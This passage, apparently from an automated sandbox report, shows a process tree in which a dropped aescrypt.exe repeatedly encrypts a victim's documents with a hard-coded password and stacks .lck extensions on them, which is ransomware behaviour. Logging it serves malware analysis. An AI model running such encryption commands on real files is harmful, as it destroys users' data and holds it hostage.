                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "TestOptimize.ppsx.lck" "TestOptimize.ppsx"
                                3⤵
                                • Executes dropped EXE
                                PID:816
                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "TestOptimize.ppsx.lck.lck" "TestOptimize.ppsx.lck"
                                3⤵
                                • Executes dropped EXE
                                PID:1896
                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "NewMeasure.vstx.lck" "NewMeasure.vstx"
                                3⤵
                                • Executes dropped EXE
                                PID:2260
                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "NewMeasure.vstx.lck.lck" "NewMeasure.vstx.lck"
                                3⤵
                                • Executes dropped EXE
                                PID:2324
                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "AssertDebug.xlsm.lck" "AssertDebug.xlsm"
                                3⤵
                                • Executes dropped EXE
                                PID:2912
                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "AssertDebug.xlsm.lck.lck" "AssertDebug.xlsm.lck"
                                3⤵
                                • Executes dropped EXE
                                PID:2820
                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ExpandConfirm.dotx.lck" "ExpandConfirm.dotx"
                                3⤵
                                • Executes dropped EXE
                                PID:2500
                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ExpandConfirm.dotx.lck.lck" "ExpandConfirm.dotx.lck"
                                3⤵
                                  PID:3868
                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "StartProtect.wps.lck" "StartProtect.wps"
                                  3⤵
                                    PID:2196
                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "StartProtect.wps.lck.lck" "StartProtect.wps.lck"
                                    3⤵
                                      PID:256
                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "RenameCompare.mpp.lck" "RenameCompare.mpp"
                                      3⤵
                                        PID:1344
                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "RenameCompare.mpp.lck.lck" "RenameCompare.mpp.lck"
                                        3⤵
                                          PID:2272
                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "StartInitialize.pub.lck" "StartInitialize.pub"
                                          3⤵
                                            PID:2456
                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "StartInitialize.pub.lck.lck" "StartInitialize.pub.lck"
                                            3⤵
                                              PID:1400
                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DenyBackup.vstm.lck" "DenyBackup.vstm"
                                              3⤵
                                                PID:652
                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DenyBackup.vstm.lck.lck" "DenyBackup.vstm.lck"
                                                3⤵
                                                  PID:1672
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                  3⤵
                                                    PID:2492
                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "desktop.ini.lck" "desktop.ini"
                                                    3⤵
                                                      PID:516
                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "desktop.ini.lck.lck" "desktop.ini.lck"
                                                      3⤵
                                                        PID:1376
                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "desktop.ini.lck.lck.lck" "desktop.ini.lck.lck"
                                                        3⤵
                                                          PID:2212
                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "These.docx.lck" "These.docx"
                                                          3⤵
                                                            PID:2492
                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Are.docx.lck" "Are.docx"
                                                            3⤵
                                                              PID:2208
                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Recently.docx.lck" "Recently.docx"
                                                              3⤵
                                                                PID:3320
                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Opened.docx.lck" "Opened.docx"
                                                                3⤵
                                                                  PID:4104
                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Files.docx.lck" "Files.docx"
                                                                  3⤵
                                                                    PID:4120
                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "These.docx.lck.lck" "These.docx.lck"
                                                                    3⤵
                                                                      PID:4136
                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Recently.docx.lck.lck" "Recently.docx.lck"
                                                                      3⤵
                                                                        PID:4152
                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Are.docx.lck.lck" "Are.docx.lck"
                                                                        3⤵
                                                                          PID:4168
                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Opened.docx.lck.lck" "Opened.docx.lck"
                                                                          3⤵
                                                                            PID:4184
                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Files.docx.lck.lck" "Files.docx.lck"
                                                                            3⤵
                                                                              PID:4200
                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "These.docx.lck.lck.lck" "These.docx.lck.lck"
                                                                              3⤵
                                                                                PID:4216
                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Recently.docx.lck.lck.lck" "Recently.docx.lck.lck"
                                                                                3⤵
                                                                                  PID:4232
                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Are.docx.lck.lck.lck" "Are.docx.lck.lck"
                                                                                  3⤵
                                                                                    PID:4248
                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Files.docx.lck.lck.lck" "Files.docx.lck.lck"
                                                                                    3⤵
                                                                                      PID:4264
                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Opened.docx.lck.lck.lck" "Opened.docx.lck.lck"
                                                                                      3⤵
                                                                                        PID:4280
                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "LimitBackup.mpp.lck" "LimitBackup.mpp"
                                                                                        3⤵
                                                                                          PID:4296
                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "LimitBackup.mpp.lck.lck" "LimitBackup.mpp.lck"
                                                                                          3⤵
                                                                                            PID:4312
                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "LimitBackup.mpp.lck.lck.lck" "LimitBackup.mpp.lck.lck"
                                                                                            3⤵
                                                                                              PID:4328
                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "TraceSave.xlsm.lck" "TraceSave.xlsm"
                                                                                              3⤵
                                                                                                PID:4344
                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "TraceSave.xlsm.lck.lck" "TraceSave.xlsm.lck"
                                                                                                3⤵
                                                                                                  PID:4360
                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "TraceSave.xlsm.lck.lck.lck" "TraceSave.xlsm.lck.lck"
                                                                                                  3⤵
                                                                                                    PID:4376
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "TestOptimize.ppsx.lck" "TestOptimize.ppsx"
                                                                                                    3⤵
                                                                                                      PID:4392
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "TestOptimize.ppsx.lck.lck" "TestOptimize.ppsx.lck"
                                                                                                      3⤵
                                                                                                        PID:4408
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "TestOptimize.ppsx.lck.lck.lck" "TestOptimize.ppsx.lck.lck"
                                                                                                        3⤵
                                                                                                          PID:4424
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "NewMeasure.vstx.lck" "NewMeasure.vstx"
                                                                                                          3⤵
                                                                                                            PID:4440
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "NewMeasure.vstx.lck.lck" "NewMeasure.vstx.lck"
                                                                                                            3⤵
                                                                                                              PID:4456
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "NewMeasure.vstx.lck.lck.lck" "NewMeasure.vstx.lck.lck"
                                                                                                              3⤵
                                                                                                                PID:4472
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "AssertDebug.xlsm.lck" "AssertDebug.xlsm"
                                                                                                                3⤵
                                                                                                                  PID:4488
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "AssertDebug.xlsm.lck.lck" "AssertDebug.xlsm.lck"
                                                                                                                  3⤵
                                                                                                                    PID:4504
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "AssertDebug.xlsm.lck.lck.lck" "AssertDebug.xlsm.lck.lck"
                                                                                                                    3⤵
                                                                                                                      PID:4520
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ExpandConfirm.dotx.lck" "ExpandConfirm.dotx"
                                                                                                                      3⤵
                                                                                                                        PID:4536
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ExpandConfirm.dotx.lck.lck" "ExpandConfirm.dotx.lck"
                                                                                                                        3⤵
                                                                                                                          PID:4552
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "ExpandConfirm.dotx.lck.lck.lck" "ExpandConfirm.dotx.lck.lck"
                                                                                                                          3⤵
                                                                                                                            PID:4568
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "StartProtect.wps.lck" "StartProtect.wps"
                                                                                                                            3⤵
                                                                                                                              PID:4584
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "StartProtect.wps.lck.lck" "StartProtect.wps.lck"
                                                                                                                              3⤵
                                                                                                                                PID:4600
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "StartProtect.wps.lck.lck.lck" "StartProtect.wps.lck.lck"
                                                                                                                                3⤵
                                                                                                                                  PID:4616
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "RenameCompare.mpp.lck" "RenameCompare.mpp"
                                                                                                                                  3⤵
                                                                                                                                    PID:4632
                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "RenameCompare.mpp.lck.lck" "RenameCompare.mpp.lck"
                                                                                                                                    3⤵
                                                                                                                                      PID:4648
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "RenameCompare.mpp.lck.lck.lck" "RenameCompare.mpp.lck.lck"
                                                                                                                                      3⤵
                                                                                                                                        PID:4664
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "StartInitialize.pub.lck" "StartInitialize.pub"
                                                                                                                                        3⤵
                                                                                                                                          PID:4696
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "StartInitialize.pub.lck.lck" "StartInitialize.pub.lck"
                                                                                                                                          3⤵
                                                                                                                                            PID:4712
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "StartInitialize.pub.lck.lck.lck" "StartInitialize.pub.lck.lck"
                                                                                                                                            3⤵
                                                                                                                                              PID:4744
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DenyBackup.vstm.lck" "DenyBackup.vstm"
                                                                                                                                              3⤵
                                                                                                                                                PID:4760
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DenyBackup.vstm.lck.lck" "DenyBackup.vstm.lck"
                                                                                                                                                3⤵
                                                                                                                                                  PID:4776
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "DenyBackup.vstm.lck.lck.lck" "DenyBackup.vstm.lck.lck"
                                                                                                                                                  3⤵
                                                                                                                                                    PID:4792
                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                    C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                    3⤵
                                                                                                                                                      PID:4808
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "desktop.ini.lck" "desktop.ini"
                                                                                                                                                      3⤵
                                                                                                                                                        PID:4820
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "desktop.ini.lck.lck" "desktop.ini.lck"
                                                                                                                                                        3⤵
                                                                                                                                                          PID:4832
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "desktop.ini.lck.lck.lck" "desktop.ini.lck.lck"
                                                                                                                                                          3⤵
                                                                                                                                                            PID:4844
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "desktop.ini.lck.lck.lck.lck" "desktop.ini.lck.lck.lck"
                                                                                                                                                            3⤵
                                                                                                                                                              PID:4856
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "These.docx.lck" "These.docx"
                                                                                                                                                              3⤵
                                                                                                                                                                PID:4872
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Are.docx.lck" "Are.docx"
                                                                                                                                                                3⤵
                                                                                                                                                                  PID:4884
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Recently.docx.lck" "Recently.docx"
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:4896
                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Opened.docx.lck" "Opened.docx"
                                                                                                                                                                    3⤵
                                                                                                                                                                      PID:4908
                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Files.docx.lck" "Files.docx"
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:4924
                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "These.docx.lck.lck" "These.docx.lck"
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:4936
                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Are.docx.lck.lck" "Are.docx.lck"
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:4948
                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Recently.docx.lck.lck" "Recently.docx.lck"
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:4960
                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Files.docx.lck.lck" "Files.docx.lck"
                                                                                                                                                                              3⤵
                                                                                                                                                                                PID:4976
                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Opened.docx.lck.lck" "Opened.docx.lck"
                                                                                                                                                                                3⤵
                                                                                                                                                                                  PID:4992
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "These.docx.lck.lck.lck" "These.docx.lck.lck"
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:5008
                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Are.docx.lck.lck.lck" "Are.docx.lck.lck"
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:5024
                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Recently.docx.lck.lck.lck" "Recently.docx.lck.lck"
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:5040
                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "Opened.docx.lck.lck.lck" "Opened.docx.lck.lck"
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:5056
                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
